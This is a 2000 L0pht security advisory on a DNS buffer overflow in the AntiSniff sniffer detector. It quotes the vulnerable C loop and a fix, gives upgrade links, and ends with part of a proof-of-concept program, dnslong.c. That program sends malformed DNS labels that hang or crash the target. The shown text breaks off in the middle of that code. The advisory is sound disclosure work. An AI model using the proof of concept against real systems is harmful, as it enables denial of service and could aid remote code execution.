@Stake Inc. L0pht Research Labs www.atstake.com www.L0pht.com Security Advisory Advisory Name: AntiSniff version 1.01 and Researchers version 1 DNS overflow Release Date: 5.15.2000 Application: AntiSniff version 1.01 and AntiSniff Researchers version 1.0 Platform: Windows and Unix versions Severity: An attacker with raw net access can falsify a response to AntiSniff's DNS test that can result in a buffer overflow and thus execute code remotely. Author: Mudge [mudge@l0pht.com] Vendor Status: Vendor contacted - fix available Web: http://www.L0pht.com/advisories.html Overview: AntiSniff is a program that was released by L0pht Heavy Industries in July of 1999. It attempts, through a number of tests, to determine if a machine on a local network segment is listening to traffic that is not directed to it (commonly referred to as sniffing). During one particular test there is a problem if a packet that does not adhere to DNS specifications is sent to the AntiSniff machine. This can result in a buffer overflow on the system running AntiSniff. If the packet is crafted appropriately this overflow scenario can be exploited to execute arbitrary code on the system. This scenario is only possible if AntiSniff is configured to run the DNS test and only during the time the test is running. None the less, it is a vulnerability that should not be ignored and has even been found in other promiscuous mode detection programs as well. Detailed Description: The files bpf_watchdns.c and raw_watchdns.c of the AntiSniff researchers version contain the following code snippit in the routine watch_dns_ptr() : char nameStr[MAX_LEN]; ... while (count){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); } Quick visual inspection shows that nameStr is a character array that is allocated on the stack and is of MAX_LEN in size. The loop will continue to concatenate to this string and can exceed MAX_LEN if correctly crafted. This will not be run in to in the wild - but then again, malicious attackers are not required to play within defined parameters. Quite the contrary. One quick fix for the free Researchers version is to introduce a check on the above loop. Something as trivial as: while (count){ if ( strlen(nameStr) + count < (MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); } else { count = 0; } } The above can be replaced in the bpf_watch_dns.c and raw_watchdns.c files in the appropriate watch_dns_ptr() functions. The windows code contains a similar problem. Immediate Solution: Do not run the DNS tests on AntiSniff version 1.01 or the Researchers version 1.0. Download the newer version from http://www.l0pht.com/antisniff which are labeled AntiSniff version 1.02 for the commercial instance and AntiSniff version 1-1 for the researchers instance. Vendor Solution: New versions have been released which correct this problem. Version 1.1 of the free Researcher's version is available at http://www.l0pht.com/antisniff/dist/anti_sniff_researchv1-1.tar.gz Version 1.02 of the Windows version is available at http://www.l0pht.com/antisniff/dist/as-102.zip We would like to thank Hugo Breton (bretonh@pgci.ca) who works for PGCI http://www.pgci.ca for researching this, bringing it to our attention and thus contributing to our being able contact the current maintainers of the program to correct the problem and thus have a better product. We encourage other companies to commend this type of community contribution to security research and hope we are setting a solid example. Proof of concept code: /* dnslong.c by Hugo Breton (bretonh@pgci.ca) This program must be run in the DNS test phase of Sentinel and Anti Sniff. It illustrates how code can be run remotely on a Win98 machine running Anti Sniff. Suggested arguments are: "dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an infinite loop. "dnslong host 2 255" to segfault the oBSD version of Anti Sniff. "dnslong host 1 255" to segfault Sentinel. */ #include #include #include #include #include #include int main(int argc,char * * argv) { char p[1024]; int sock,i,j,k,len,labelnum,labellen; struct sockaddr_in sin; struct hostent * hoste; printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n"); if(argc<4) { printf("usage: %s host label_count label_length\n",argv[0]); return(0); } bzero((void *) &sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(53); if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { if((hoste=gethostbyname(argv[1]))==NULL) { printf("unknown host %s\n",argv[1]); return(0); } bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4); } labelnum=atoi(argv[2]); labellen=atoi(argv[3]); len=labelnum*(labellen+1)+5+12; if(len>1024) { printf("resulting packet will be too long\n"); return(0); } bzero((void *) p,1024); * ((unsigned short *) (p+0))=htons(867-5309); * ((unsigned short *) (p+4))=htons(1); for(i=12,j=0;j